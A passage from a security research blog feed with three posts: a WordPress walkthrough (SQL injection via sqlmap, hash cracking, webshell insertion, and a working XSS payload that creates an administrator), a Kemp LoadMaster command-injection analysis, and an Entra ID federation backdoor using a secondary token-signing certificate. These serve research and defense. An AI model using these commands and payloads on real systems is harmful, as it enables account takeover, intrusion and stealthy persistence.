|<br>+------------+------------------------------------+<br>| subscriber | $P$BQG8CvNGjGGbMmr5KxN8p3BnwdgMbf0 |<br>| admin      | $P$BUwEadKq2ID1rSD6/G4/tTf85WONEf1 |<br>+------------+------------------------------------+</pre><p>Note : Users are usually stored in the ‘wp_users’ table, with ‘wp_’ being the basic prefix. If this is not the case, you can search for the table name/prefix by listing the columns with the following SQLmap command :</p><pre>sqlmap -u &quot;http://192.168.1.27/?rest_route=/pmpro/v1/order&amp;code=a&quot; -p code --dbms=MySQL —-columns<br>[...]<br>[15:50:38] [INFO] retrieved: wp_pmpro_membership_ordermeta</pre><p>Now that we have recovered the users and the hashes we need to find the password in clear text. We will not go into the details of this step here and simply use hashcat with a wordlist to recover the password in plain text.</p><p>The only important option to understand here is `-m 400` which translates as “hash mode 400”. The number 400 corresponds to the password <a href="https://hashcat.net/wiki/doku.php?id=example_hashes">hashing technique used by WordPress</a>. In the background, WordPress uses the ‘<a href="https://developer.wordpress.org/reference/functions/wp_hash_password/">wp_hash_password()</a>’ function which uses the PHPass library and, in short, returns an MD5 hashed password with additional security mechanisms.</p><pre>hashcat -m 400 -a 0 -o cracked.txt hash.txt wordlist.txt<br>[...]<br>cat cracked.txt<br>&gt; $P$BUwEadKq2ID1rSD6/G4/tTf85WONEf1:password</pre><p>To summarize, we identified the available plugins, one of them is in a version vulnerable to an unauthenticated SQL injection which we exploited to retrieve the list of available users with their hashes which we bruteforce to recover the clear password of the administrator !</p><p>The next step is therefore to authenticate, to do this, by default, the URL of the WordPress admin panel is available at the URL /wp-admin/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GwtTorqBqfJZSBe6" /></figure><p>Except that in our case, we are redirected to a 404! If we return to the list of installed plugins, we remember that “<a href="https://wordpress.org/plugins/wps-hide-login/">WPS Hide Login</a>” is installed.</p><blockquote>WPS Hide Login is a very light plugin that lets you easily and safely change the url of the login form page to anything you want.</blockquote><p>Once again, we will be able to use our SQL injection to find the real login URL. For this plugin, what we are looking for is stored in column ‘option_value’ of the table ‘wp_options’</p><pre>sqlmap -u &quot;http://192.168.1.27/?rest_route=/pmpro/v1/order&amp;code=a&quot; -p code --dbms=MySQL -dump -T wp_options -C option_value --where &quot;option_name=&#39;whl_page&#39;&quot;<br>[...]<br>Table: wp_options<br>[1 entry]<br>+--------------+<br>| option_value |<br>+--------------+<br>| hidden_login |<br>+--------------+</pre><p>We can now access the login page and authenticate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dS2i2-A1wnY1IbC5" /></figure><p>Once authenticated, to obtain an RCE, among the available techniques the two simplest are as follows :</p><ul><li>Upload a new malicious plugin to execute code</li><li>Edit an existing file to insert malicious code</li></ul><p>The second is the simplest because everything is already there by default, you just have to go to “Tools &gt; Theme File Editor &gt; Themes Functions” and insert a piece of PHP code allowing you to execute code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NYyonNRTfMG5zAHn" /></figure><p>Once saved, we can therefore execute arbitrary code on our WordPress instance</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/0*COTZG1vReZzHr7qc" /></figure><p><strong>3/ From Cross-Site Scripting to complete compromission</strong></p><p>Less direct than an SQLi, an XSS can also compromise a WordPress instance, and for this example we’ll take the <a href="https://fr.wordpress.org/plugins/wp-rss-aggregator/">WP RSS Aggregator</a> version 4.23.8.</p><p>This plugin is vulnerable to a reflected XSS and therefore requires that the URL containing the payload be transmitted directly to the administrator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ElIyGpjezLwve2Ky" /></figure><p>The original request can be obtained by going to the plugin page and clicking on the “Dismiss this notification” button :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NyATMw9S2rRUDQSo" /></figure><p>On the code side, in version below 4.23.9 of WP RSS Aggregator, this vulnerability is present due to the use of the `sprintf()` function, which is used to display the response to the user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JK46Nwa_CiMlW8Sm" /></figure><p>The notice_id value is inserted into the message without filtering allowing to insert arbitrary HTML code :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5nzj13iWBbWq1Foi" /></figure><p>There are several XSS techniques that can be used to take control of an instance, the two most common being :</p><ul><li>Add a new administrator</li><li>Modify page code directly to insert a webshell</li></ul><p>The code below, for example, is used to create a new administrator :</p><pre>requestURL = &quot;/wp-admin/user-new.php&quot;;<br>nonceRegex = /ser&quot; value=&quot;([^&quot;]*?)&quot;/g;<br><br>xhr = new XMLHttpRequest();<br>xhr.open(&quot;GET&quot;, requestURL, false);<br>xhr.send();<br><br>nonceMatch = nonceRegex.exec(xhr.responseText);<br>nonce = nonceMatch[1];<br>params = &quot;action=createuser&amp;_wpnonce_create-user=&quot;+nonce+&quot;&amp;user_login=attacker&amp;email=attacker@was.tld&amp;pass1=password&amp;pass2=password&amp;role=administrator&quot;;<br><br>xhr = new XMLHttpRequest();<br>xhr.open(&quot;POST&quot;, requestURL, true);<br>xhr.setRequestHeader(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded&quot;);<br>xhr.send(params);</pre><p>Simply save the code to a file on a publicly accessible server, send the URL containing our payload (loading our remote script) and you’re done.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZwbtK362IwBQ1qDD" /></figure><p>A new administrator is added :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*e3BXe8C1oEJck38r" /></figure><p>As a side note, the plugin author has corrected the vulnerability by escaping the HTML code of Exceptions messages :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uLZ6FHK9pevy6oor" /></figure><p>Which corrects the vulnerability :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IyOYjTJj6PvKwYoS" /></figure><p>This article shows how to identify available plugins, compromise an instance via SQL Injection while bypassing a defense mechanism that hides the login URL, and also how to create a new administrator via Cross-Site Scripting.</p><p>Obviously, this article is only an introduction and does not describe all possible cases or less likely/common scenarios, such as the possibility of creating an administrator via SQL Injection.</p><p>However, we understand that although WordPress is reputed to be robust, plugins are not necessarily so and can therefore allow your instance to be compromised. It is therefore essential to review the plugins you install, check that they are up to date and if possible enable automatic updates.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ae720d60105c" width="1" height="1" alt=""><hr><p><a href="https://medium.com/tenable-techblog/wordpress-from-vulnerability-identification-to-compromising-ae720d60105c">WordPress : From vulnerability identification to compromising</a> was originally published in <a href="https://medium.com/tenable-techblog">Tenable TechBlog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Another Path to Exploiting CVE-2024-1212 in Progress Kemp LoadMaster]]></title>
            <link>https://medium.com/tenable-techblog/another-path-to-exploiting-cve-2024-1212-in-progress-kemp-loadmaster-a6b06cd0b9f8?source=rss----68728ef06732---4</link>
            <guid isPermaLink="false">https://medium.com/p/a6b06cd0b9f8</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[tenable-research]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[Ben Smith]]></dc:creator>
            <pubDate>Tue, 02 Apr 2024 17:18:55 GMT</pubDate>
            <atom:updated>2024-04-02T18:07:18.380Z</atom:updated>
            <content:encoded><![CDATA[<h3>Intro</h3><p>Rhino Labs discovered a pre-authentication command injection <a href="https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/">vulnerability</a> in the Progress Kemp LoadMaster. LoadMaster is a load balancer product that comes in many different flavors and even has a free version. The flaw exists in the LoadMaster API. When an API request is received to either the ‘/access’ or ‘/accessv2’ endpoint, the embedded min-httpd server calls a script which in turn calls the access binary with the HTTP request info. The vulnerability works even when the API is disabled.</p><p>Rhino Labs showed that attacker controlled data is read by the access binary when sending an enableapi command to the /access endpoint. The attacker controlled data exists as the ‘username’ in the Authorization header. The username value is put into the REMOTE_USER environment variable. The value stored in REMOTE_USER is retrieved by the access binary and ends up as part of a string passed to a system() call. The system call executes the validuser binary and a carefully crafted payload allows us to inject commands into the bash shell.</p><figure><img alt="GET request showing the resulting bash command. The response shows a bash syntax error that indicates the command line that was executed" src="https://cdn-images-1.medium.com/max/1024/0*NN2ygZmdoNgrPa0R" /><figcaption>GET request showing the resulting bash command</figcaption></figure><p>We also found that the REMOTE_PASS environment variable is exploitable in the same way here via the Authorization header.</p><p>This command execution is possible via any API command if the API is enabled. As Rhino Labs points out, When sending a GET request to the access API indicating the enableapi command, the access binary skips checking whether the API is enabled first or not, and the Authorization header is checked right away.</p><h3>APIv2</h3><p>While investigating this vulnerability, I noticed that LoadMaster has two APIs, the v1 API indicated above, and a v2 API that functions via the /accessv2 endpoint and JSON data. The access binary still processes these requests, but a slightly different path is followed. The logic of the main function is largely duplicated as a new function and called if the APIv2 is requested. That function then performs the same checks as above, with the slight exception that it will decode the API and pass the values of the apiuser and apipass keys to the same system call. So, we have another path to the same exposure:</p><figure><img alt="This is the second exploitable path via the APIv2. A POST request is sent to the LoadMaster APIv2, and a response indicates the output of the command we injected." src="https://cdn-images-1.medium.com/max/1024/0*pth3pxrHQHksKDLp" /><figcaption>POST request to the LoadMaster APIv2, also exploitable</figcaption></figure><p>While we can still control the password variable, it’s no longer exploitable here. Somewhere along the path the password string gets converted to base64 before being passed through the system() call, nullifying any injected quotes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*aNjRkWJ8kDYPnSJn" /><figcaption>POST request to the APIv2 showing that apipass is base64 encoded, effectively removing any single quotes</figcaption></figure><p>We can see below that the verify_perms function calls validu() with REMOTE_USER and REMOTE_PASS data in the APIv1 implementation; in the API v2 implementation the apiuser and apipass data is passed to validu() from the APIv2 JSON.</p><figure><img alt="Screenshot of the Ghidra decompilation showing the two different paths for API and APIv2" src="https://cdn-images-1.medium.com/max/743/0*aoltj0UMHnM6_WJn" /><figcaption>Ghidra decompilation showing API and APIv2 paths</figcaption></figure><h3>Patch</h3><p>The patch solves these flaws quite simply by examining the username and password strings in the Authorization header for single quotes. If they contain a single quote, the patched function will truncate them just before the first single quote. Decompiling the patched access binary with Ghidra, we can see this:</p><figure><img alt="Ghidra decompilation of the patched validu function. It shows the new function call and then the ‘validuser’ string being concatenated and then the system() call after." src="https://cdn-images-1.medium.com/max/738/0*FL6ckFn3MlZjDA0h" /><figcaption>Ghidra decompilation of the patched validu function</figcaption></figure><figure><img alt="Code from Ghidra decompilation of the function added by the patch. The function loops over each character of the input string, and if it’s a single quote, it is replaced with a null terminator." src="https://cdn-images-1.medium.com/max/404/0*kwU2xDTvvtTcRfka" /><figcaption>Ghidra decompilation of the function in the patch that null terminates strings at the first single quote</figcaption></figure><p>Here we see the addition of the new function call for both username and password. The function loops over each character in the input string and if it is a single quote, it’s changed to a \0, null terminating the string.</p><h3>Another Way to Test: Emulation</h3><p>Even though we’ve got x86 linux binaries, we can’t run them natively on another linux machine due to potential library and ABI issues. Regardless, we can extract the filesystem and use a chroot and qemu to emulate the environment. Once we’ve extracted the filesystem, we can mount the ext2 filesystem ourselves:</p><pre>sudo mount -t ext2 -o loop,exec unpatched.ext2 mnt/</pre><p>Now we can explore the filesystem and execute binaries.</p><p>This provides us with a quick offline method to test our assumptions around injection. For instance, as we mentioned, the access binary is exploitable via the REMOTE_USER parameter:</p><figure><img alt="Screenshot of a bash shell showing how we can emulate the access binary to test various different command injections." src="https://cdn-images-1.medium.com/max/798/0*B-sSylzRAPp6y-Bl" /><figcaption>Emulating binaries locally to easily test injection assumptions</figcaption></figure><p>First, we’ve copied the qemu-x86_64-static binary into our mounted filesystem. We’re using that with the -E flag to pass in a bunch of environment variables found via reversing access, one of which is the injectable REMOTE_USER. The whole thing is wrapped in chroot so that symbolic links and relative paths work correctly. We give /bin/access several flags which we’ve lifted straight from the CGI script that calls the binary</p><pre>exec /bin/${0/*\//} -C $CLUST -F $FIPS -H $HW_VERSION</pre><p>and from checking the ps debugging feature in the LoadMaster UI. Pro tip: check ps while running another longer running debug command like top or tcpdump in order to see better results.</p><pre>root 13333 0.0 0.0 6736 1640 ? S 15:54 0:00 /sbin/httpd -port 8080 -address 127.0.0.1<br>root 16733 0.0 0.0 6736 112 ? S 15:59 0:00 /sbin/httpd -port 8080 -address 127.0.0.1<br>bal 16734 0.0 0.0 12064 2192 ? S 15:59 0:00 /bin/access -C 0 -F 0 -H 3<br>bal 16741 0.2 0.0 11452 2192 ? S 15:59 0:00 /usr/bin/top -d1 -n10 -b -o%CPU<br>bal 16845 0.0 0.0 7140 1828 ? R 15:59 0:00 ps auxwww</pre><p>While this doesn’t provide us the complete method to exploit externally, it is a nice quick method to try out different injection strings and test assumptions. We can also pass a -g &lt;port&gt; parameter to qemu and then attach gdb to the process to get even closer to what’s happening.</p><h3>Conclusion</h3><p>This was a really cool find by Rhino Labs. Here I add one additional exploitation path and some additional ways to test for this vulnerability.</p><p>Tenable’s got you covered and can detect this vulnerability as part of your VM program with Tenable VM, Tenable SC, and Tenable Nessus. The direct check plugin for this vulnerability can be found at <a href="https://www.tenable.com/cve/CVE-2024-1212/plugins">CVE-2024-1212</a>. The plugin tests test both APIv1 and APIv2 paths for this command execution exposure.</p><h3>Resources</h3><p><a href="https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/">https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/</a></p><p><a href="https://support.kemptechnologies.com/hc/en-us/articles/24325072850573-Release-Notice-LMOS-7-2-59-2-7-2-54-8-7-2-48-10-CVE-2024-1212">https://support.kemptechnologies.com/hc/en-us/articles/24325072850573-Release-Notice-LMOS-7-2-59-2-7-2-54-8-7-2-48-10-CVE-2024-1212</a></p><p><a href="https://support.kemptechnologies.com/hc/en-us/articles/23878931058445-LoadMaster-Security-Vulnerability-CVE-2024-1212">https://support.kemptechnologies.com/hc/en-us/articles/23878931058445-LoadMaster-Security-Vulnerability-CVE-2024-1212</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a6b06cd0b9f8" width="1" height="1" alt=""><hr><p><a href="https://medium.com/tenable-techblog/another-path-to-exploiting-cve-2024-1212-in-progress-kemp-loadmaster-a6b06cd0b9f8">Another Path to Exploiting CVE-2024-1212 in Progress Kemp LoadMaster</a> was originally published in <a href="https://medium.com/tenable-techblog">Tenable TechBlog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Stealthy Persistence & PrivEsc in Entra ID by using the Federated Auth Secondary Token-signing Cert.]]></title>
            <link>https://medium.com/tenable-techblog/stealthy-persistence-privesc-in-entra-id-by-using-the-federated-auth-secondary-token-signing-cert-876b21261106?source=rss----68728ef06732---4</link>
            <guid isPermaLink="false">https://medium.com/p/876b21261106</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[azure-active-directory]]></category>
            <category><![CDATA[microsoft-entra-id]]></category>
            <category><![CDATA[tenable-research]]></category>
            <category><![CDATA[federation]]></category>
            <dc:creator><![CDATA[Clément Notin [Tenable]]]></dc:creator>
            <pubDate>Wed, 31 Jan 2024 17:38:25 GMT</pubDate>
            <atom:updated>2024-12-05T10:46:45.207Z</atom:updated>
            <content:encoded><![CDATA[<h3>Exploiting Entra ID for Stealthier Persistence and Privilege Escalation using the Federated Authentication’s Secondary Token-signing Certificate</h3><h3>Summary</h3><p><strong>Microsoft Entra ID</strong> (formerly known as Azure AD) offers a feature called <strong>federation </strong>that allows you to delegate authentication to another Identity Provider (IdP), such as AD FS with on-prem Active Directory. When users log in, they will be redirected to the external IdP for authentication, before being redirected back to Entra ID who will then verify the successful authentication on the external IdP and the user’s identity. This trust is based on the <strong>user returning with a token that is signed by the external IdP</strong> so that Entra ID can verify that it was legitimately obtained (i.e. not forged) and that its content is correct (i.e. not tampered with) 🔐</p><p>The external IdP signs the token with a private key, which has an associated public key stored in a certificate. To make this work, you need to configure this certificate in Microsoft Entra ID, along with other configuration for the federated domain. <strong>It accepts two token-signing certificates in the configuration of a federated domain, and both are equally accepted as token signers</strong>! 💥 This is by design to allow for <a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-fed-o365-certs#ad-fs-and-microsoft-entra-certificate-update-steps">automatic certificate renewal</a> near its expiry. However, it’s important to note that <strong>this second token-signing certificate may be overlooked by defenders and their security tools</strong>! 👀</p><p>In this post, I’ll show you where this certificate can be found and how attackers can add it (given the necessary privileges) and use it to forge malicious tokens. Finally, I will provide some <strong>recommendations for defense</strong> in light of this.</p><p><em>This was discovered by </em><a href="https://www.tenable.com/research"><em>Tenable Research</em></a><em> while working on identity security.</em></p><h3>Federation?</h3><p>To learn more about federation and how attackers can exploit it to maintain or increase their privileges in an Entra tenant, please read my previous article ➡️ <a href="https://medium.com/tenable-techblog/roles-allowing-to-abuse-entra-id-federation-for-persistence-and-privilege-escalation-df9ca6e58360#00fc">“Roles Allowing To Abuse Entra ID Federation for Persistence and Privilege Escalation”</a>. Note that in this article I described that a malicious or compromised user, who is assigned any of the following built-in Entra roles (as of January 2024), has the power to change federation settings, including both token-signing certificates:</p><ul><li>Global Administrator</li><li>Security Administrator</li><li>Hybrid Identity Administrator</li><li>External Identity Provider Administrator</li><li>Domain Name Administrator</li><li>Partner Tier2 Support</li></ul><p>If the attacker gets their hands on a SAML token-signing certificate, for example by adding their own to the configuration as described in this post, they can forge arbitrary tokens that allow them to authenticate as anyone.</p><p>The corresponding MITRE ATT&amp;CK techniques are:</p><ul><li><a href="https://attack.mitre.org/techniques/T1484/002/">T1484.002 “Domain Policy Modification: Domain Trust Modification”</a> for the initial operation where the attacker adds a secondary token-signing certificate</li><li><a href="https://attack.mitre.org/techniques/T1606/002/">T1606.002 “Forge Web Credentials: SAML Tokens”</a> for the subsequent operation where the attacker forges a SAML token with the private key of the previously injected secondary token-signing certificate, before presenting the token to Entra ID as a fake proof of identity</li></ul><h3>Previous work</h3><p>The technique of abusing federation was described by Mandiant in <a href="https://www.mandiant.com/sites/default/files/2021-11/wp-m-unc2452-000343.pdf#page=23">Remediation and hardening strategies for Microsoft 365 to defend against UNC2452 (2021)</a>:</p><blockquote>The threat actor must first compromise an account with permission to modify or create federated realm objects.</blockquote><p>These mentioned permissions are given by the roles previously listed. The main way is to modify the current token-signing certificate, stored in the “<a href="https://learn.microsoft.com/en-us/graph/api/resources/internaldomainfederation?view=graph-rest-beta#:~:text=%2C%20unknownFutureValue.-,signingCertificate,-String">signingCertificate</a>” attribute of the federation configuration. But this has the disadvantage of temporarily breaking the authentication and thus making the attack somewhat visible.</p><p>In the <a href="https://www.mandiant.com/sites/default/files/2021-11/wp-m-unc2452-000343.pdf#page=23">same (2021) paper</a>, <strong>Mandiant also described a variant, where the attacker adds a secondary token-signing certificate</strong> instead of changing the main one:</p><blockquote>A threat actor could also modify the federation settings for an existing domain by configuring a new, secondary, token-signing certificate. This would allow for an attack (similar to Golden SAML) where the threat actor controls a private key that can digitally sign SAML tokens and is trusted by Azure AD.</blockquote><p><strong>So while this article will not unveil anything new 😔, it does aim to shed more light on this lesser-known issue 😉</strong></p><h3>Interest for attackers</h3><p>Do you wonder how this secondary token-signing certificate can be useful for attackers, and why should you care?</p><p>The first interest is that mature cyber organizations and security tools are already scanning and monitoring the primary token-signing certificate. So attackers may <strong>leverage this lesser-known secondary token-signing certificate for a stealthier attack</strong>.</p><p>Moreover, if an attacker replaces the normal primary token-signing certificate with their own, they will (temporarily) disrupt the authentication for regular users, which is not discreet! <strong>Using the secondary certificate instead does not have this breaking side effect and thus is stealthier</strong>. An alternative would be to register a new federated domain, but this rarely happens normally, so it might also raise alarms.</p><p>I believe <strong>this technique will become even more popular among attackers</strong> now that the <a href="https://aadinternals.com/aadinternals/#version-info">latest version of AADInternals</a> by Dr. Nestori Syynimaa, 0.9.3 published in January 2024, will automatically inject the backdoor certificate as a secondary token-signing certificate in case the domain is already federated:</p><blockquote>Modified <a href="https://aadinternals.com/aadinternals/#convertto-aadintbackdoor-a">ConvertTo‑AADIntBackdoor</a> to add backdoor certificate to NextSigningCertificate if the domain is already federated.</blockquote><p>With this new knowledge we also understand why Microsoft recommends in their “<a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-emergency-ad-fs-certificate-rotation#if-autocertificaterollover-is-set-to-true-generate-a-new-self-signed-certificate">Emergency rotation of the AD FS certificates</a>” article to renew the token-signing certificate twice because:</p><blockquote>You’re creating two certificates because Microsoft Entra ID holds on to information about the previous certificate. By creating a second one, you’re forcing Microsoft Entra ID to release information about the old certificate and replace it with information about the second one. If you don’t create the second certificate and update Microsoft Entra ID with it, it might be possible for the old token-signing certificate to authenticate users.</blockquote><p>If you are an AD security veteran, it certainly reminds you of something, and you are right 😉 Such a Golden SAML attack against cloud Entra ID is similar to the famous Golden Ticket attack against on-prem AD, and it’s interesting to see the same remediation guidance, which is to renew twice the token-signing certificate/krbtgt respectively, and it’s for the same reason!</p><h3>Attribute/argument to manage the secondary token-signing certificate</h3><p>As described in my previous article, there are <a href="https://medium.com/tenable-techblog/roles-allowing-to-abuse-entra-id-federation-for-persistence-and-privilege-escalation-df9ca6e58360#2986">several APIs available to interact with Entra ID</a>. In the following we will see how a secondary token-signing certificate can be injected using the 🟥 Provisioning API / MSOnline (MSOL, which will be <a href="https://techcommunity.microsoft.com/t5/microsoft-entra-azure-ad-blog/important-azure-ad-graph-retirement-and-powershell-module/ba-p/3848270#:~:text=Therefore%2C%20we%20are%20postponing%20the%20deprecation%20date%20for%20MS%20Online%2C%20AzureAD%2C%20and%20AzureAD%20Preview%20PowerShell%20modules%20to%20March%2030%2C%202024.%C2%A0%C2%A0">deprecated this year</a> (2024) ⚠️), then using the 🟩 Microsoft Graph API / Microsoft Graph PowerShell SDK. The colored squares 🟥🟩 are the same as in my previous article and they allow to visually distinguish both APIs.</p><p>When using the 🟩 MS Graph API, the configuration of a federated domain is returned as an <a href="https://learn.microsoft.com/en-us/graph/api/resources/internaldomainfederation?view=graph-rest-beta">internalDomainFederation</a> object. The main certificate is in the <a href="https://learn.microsoft.com/en-us/graph/api/resources/internaldomainfederation?view=graph-rest-beta#:~:text=%2C%20unknownFutureValue.-,signingCertificate,-String">signingCertificate</a> attribute, and <strong>the second token-signing certificate is in the </strong><a href="https://learn.microsoft.com/en-us/graph/api/resources/internaldomainfederation?view=graph-rest-beta#:~:text=from%20samlOrWsFedProvider.-,nextSigningCertificate,-String"><strong>nextSigningCertificate</strong></a><strong> attribute</strong> which is described as:</p><blockquote>Fallback token signing certificate that can also be used to sign tokens, for example when the primary signing certificate expires. […] Much like the signingCertificate, the nextSigningCertificate property is used if a rollover is required outside of the auto-rollover update, a new federation service is being set up, or if the new token signing certificate isn’t present in the federation properties after the federation service certificate has been updated.</blockquote><p>I <a href="https://github.com/microsoftgraph/microsoft-graph-docs-contrib/pull/8799">helped Microsoft</a> improve this description a little because the initial one, in my opinion, could be understood as if the second certificate were only usable during a rollover operation, whereas it can be used at any time simultaneously like the main certificate! I contacted MSRC first and they confirmed that it was working as intended.</p><p>When using the 🟥 Provisioning API (MSOnline), you can find arguments with the same names: <a href="https://learn.microsoft.com/en-us/powershell/module/msonline/set-msoldomainauthentication?view=azureadps-1.0#-signingcertificate">-SigningCertificate</a> and <a href="https://learn.microsoft.com/en-us/powershell/module/msonline/set-msoldomainauthentication?view=azureadps-1.0#-nextsigningcertificate"><strong>-NextSigningCertificate</strong></a> (proof that this secondary token-signing certificate has been here for a long time, i.e. it was not introduced recently with the MS Graph API).</p><h3>Generate certificates</h3><p>In the following examples, we will need two token-signing certificates that you can generate using these PowerShell commands:</p><pre>$certStoreLocation = &quot;cert:\CurrentUser\My&quot;<br><br>$primary = New-SelfSignedCertificate -Subject &quot;primary token-signing certificate&quot; -CertStoreLocation $certStoreLocation -KeyExportPolicy Exportable -Provider &quot;Microsoft Enhanced RSA and AES Cryptographic Provider&quot; -NotAfter (Get-Date).AddDays(1)<br>$primary_certificate = [System.Convert]::ToBase64String($primary.GetRawCertData())<br>Get-ChildItem $($certStoreLocation + &quot;\&quot; + $primary.Thumbprint) | Remove-Item<br><br>$secondary = New-SelfSignedCertificate -Subject &quot;secondary token-signing certificate&quot; -CertStoreLocation $certStoreLocation -KeyExportPolicy Exportable -Provider &quot;Microsoft Enhanced RSA and AES Cryptographic Provider&quot; -NotAfter (Get-Date).AddDays(1)<br>$secondary_certificate = [System.Convert]::ToBase64String($secondary.GetRawCertData())<br>Get-ChildItem $($certStoreLocation + &quot;\&quot; + $secondary.Thumbprint) | Remove-Item</pre><p>They delete the generated certificates because we only need their public part and not the private key for the demonstrations below, but of course, an attacker would keep the private key since it’s required to then generate forged tokens.</p><h3>Convert a domain to federated including a secondary token-signing certificate</h3><p>For each example below, the prerequisite is having <a href="https://medium.com/tenable-techblog/roles-allowing-to-abuse-entra-id-federation-for-persistence-and-privilege-escalation-df9ca6e58360#d697">a verified domain</a>, but not yet converted to federated, and our goal is to convert it to federated with two certificates ⤵️</p><h3>🟥 Provisioning API: using Set-MsolDomainAuthentication</h3><p>Using <a href="https://learn.microsoft.com/en-us/powershell/module/msonline/set-msoldomainauthentication?view=azureadps-1.0">Set-MsolDomainAuthentication</a>:</p><pre>Set-MsolDomainAuthentication `<br>    -DomainName $domain `<br>    -Authentication Federated `<br>    -SigningCertificate $primary_cert `<br>    -NextSigningCertificate $secondary_cert `<br>    -IssuerUri &quot;https://example.com/$(&#39;{0:X}&#39; -f (Get-Date).GetHashCode())&quot; -LogOffUri &quot;https://example.com/logoff&quot; -PassiveLogOnUri &quot;https://example.com/logon&quot;</pre><p>And we can check that we do indeed see both certificates:</p><pre>PS&gt; Get-MsolDomainFederationSettings -DomainName $domain | select SigningCertificate,NextSigningCertificate | Format-List<br><br>SigningCertificate     : MIIDMjC[...]pfgoXj3kI<br>NextSigningCertificate : MIIDNjC[...]KQEixdg==</pre><h3>🟩 MS Graph API: using New-MgDomainFederationConfiguration</h3><p>Using <a href="https://learn.microsoft.com/en-us/powershell/module/microsoft.graph.identity.directorymanagement/new-mgdomainfederationconfiguration?view=graph-powershell-1.0">New-MgDomainFederationConfiguration</a>:</p><pre>New-MgDomainFederationConfiguration `<br>    -DomainId $domain `<br>    -FederatedIdpMfaBehavior &quot;acceptIfMfaDoneByFederatedIdp&quot; `<br>    -SigningCertificate $primary_cert `<br>    -NextSigningCertificate $secondary_cert `<br>    -IssuerUri &quot;https://example.com/$(&#39;{0:X}&#39; -f (Get-Date).GetHashCode())&quot; -SignOutUri &quot;https://example.net/something&quot; -PassiveSignInUri &quot;https://example.net/something&quot;</pre><p>And we can check that we do indeed see both certificates:</p><pre>PS&gt; Get-MgDomainFederationConfiguration -DomainId $domain | select SigningCertificate,NextSigningCertificate | Format-List<br><br>SigningCertificate     : MIIDMjC[...]pfgoXj3kI<br>NextSigningCertificate : MIIDNjC[...]KQEixdg==</pre><h3>Add a secondary token-signing certificate to an existing federated domain</h3><p>For each example below, the prerequisite is having an already federated domain, but with just a primary token-signing certificate, and our goal is to add a secondary one ⤵️</p><h3>🟥 Provisioning API: using Set-MsolDomainFederationSettings</h3><p>First, check that it’s indeed a federated domain with just a primary token-signing certificate:</p><pre>PS&gt; Get-MsolDomainFederationSettings -DomainName $domain | select SigningCertificate,NextSigningCertificate | Format-List<br><br>SigningCertificate     : MIIDMjC[...]pfgoXj3kI<br>NextSigningCertificate :</pre><p>Then, add a secondary certificate using <a href="https://learn.microsoft.com/en-us/powershell/module/msonline/set-msoldomainfederationsettings?view=azureadps-1.0">Set-MsolDomainFederationSettings</a>:</p><pre>Set-MsolDomainFederationSettings `<br>    -DomainName $domain `<br>    -NextSigningCertificate $secondary_cert</pre><p>Finally, we can check now that we do indeed see both certificates:</p><pre>PS&gt; Get-MsolDomainFederationSettings -DomainName $domain | select SigningCertificate,NextSigningCertificate | Format-List<br><br>SigningCertificate     : MIIDMjC[...]pfgoXj3kI<br>NextSigningCertificate : MIIDNjC[...]KQEixdg==</pre><h3>🟥 Provisioning API: using AADInternals’ ConvertTo-AADIntBackdoor</h3><p>Ensure we have the latest version of <a href="https://github.com/Gerenios/AADInternals">AADInternals</a> (&gt;= v0.9.3):</p><pre>PS&gt; Import-Module AADInternals<br>[...]  <br>v0.9.3 by @DrAzureAD (Nestori Syynimaa)</pre><p>Using <a href="https://aadinternals.com/aadinternals/#convertto-aadintbackdoor-a">ConvertTo-AADIntBackdoor</a>:</p><pre>ConvertTo-AADIntBackdoor `<br>    -DomainName $domain `<br>    -AccessToken $at `<br>    -Verbose</pre><p>The verbose output is clear enough:</p><pre>VERBOSE: Domain example.net is Federated, modifying NextTokenSigningCertificate</pre><p>And we can check again that we do indeed see both certificates:</p><pre>PS&gt; Get-MsolDomainFederationSettings -DomainName $domain | select SigningCertificate,NextSigningCertificate | Format-List<br><br>SigningCertificate     : MIIDMjC[...]pfgoXj3kI<br>NextSigningCertificate : MIIDNjC[...]KQEixdg==</pre><h3>🟩 MS Graph API: using Update-MgDomainFederationConfiguration</h3><p>Using <a 